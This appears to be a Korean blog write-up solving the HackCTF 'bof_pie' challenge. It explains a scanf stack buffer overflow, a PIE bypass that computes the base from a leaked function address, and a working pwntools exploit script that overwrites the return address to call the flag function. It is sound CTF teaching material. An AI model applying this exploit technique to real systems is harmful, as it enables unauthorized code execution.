Execute
문제로 주어진 파일을 실행 시키면 특정 address값을 leak해준다. 재실행시 동일한 값이 leak되는것 역시 확인 할 수 있다.
Analyze
PIE와 NXbit가 걸려있는 것을 확인 할 수 있다. 이번 문제가 bof_pie이므로 PIE를 우회하는 방향으로 문제를 풀어야 할 것 같다.
PIE는 ASLR과 비슷하게 생각하되, 차이점은 PIE는 Code(Text)영역을 포함한 모든 영역(Data, Stack, Heap, Libc)을 랜덤하게 매핑시킨다는 것이다.
프로그램의 동작을 정확하게 확인하기 위해 IDA를 통해 코드를 살펴보자.
Main
Main은 별동작을 하지 않고 단순이 welcome함수를 실행시키고 Nah….를 출력한다.
Welcome
welcome함수를 살펴보면 앞서 leak해주던 address의 정체를 확인 할 수 있다. 해당 값은 welcome함수의 address이다. 또한 scanf함수에서 buffer overflow를 일으켜 ret를 조작 할 수 있을 것이다. j0n9hyun함수가 이번 문제에서 ret로 덮어 줘야하는 함수인 것 같다.
j0n9hyun
Flag를 출력해주는 함수 임을 확인 할 수 있다.
solve
dummy의 크기부터 계산 해보자
0x12 byte만큼의 dummy와 sfp 4byte가 필요한 것을 확인 할 수 있다.
여기서 문제가 발생하는데 PIE가 걸려있으므로 j0n9hyun의 함수의 실제 address를 알 수 없다.
여기서 앞에서 leak된 address를 사용한면 된다. PIE를 통해 메모리의 랜덤한 위치에 매핑되지만 base로부터 함수까지의 거리인 offset은 동일 하기 때문에 leak된 주소 – welcome의 offset을 통해 base의 거리를 계산하고 base+j0n9hyun의 offset을 연산해주면 j0n9hyun의 실제 address를 계산 해줄 수 있다.
각 함수의 offset은 다음과 같다.
따라서 payload는 아래와 같을 것이다.
Dummy(0x12)+sf[(4)+base+ j0n9hyun
from pwn import *
target_offset= 0x890
welcome_offset=0x909
p = remote("ctf.j0n9hyun.xyz", 3008)
p.recvuntil("is ")
welcome = int(p.recv(10), 16)
base=welcome-welcome_offset
target=base+target_offset
print(hex(target))
payload =b'a'*0x12 + b'a'*4 + p32(target)
p.sendline(payload)
p.interactive()
성공적으로 flag를 획득 할 수 있었다.
'Wargmae > HackCTF' 카테고리의 다른 글
[Hack CTF - RTL_World] (2) | 2021.01.10 |
---|---|
[Hack CTF - yes or no] (0) | 2021.01.09 |
[Hack CTF – Simple_Overflow_ver_2] (0) | 2021.01.06 |
[Hack CTF – x64 Simple_size_BOF] (0) | 2021.01.05 |
[Hack CTF – x64 Buffer Overflow] (0) | 2021.01.05 |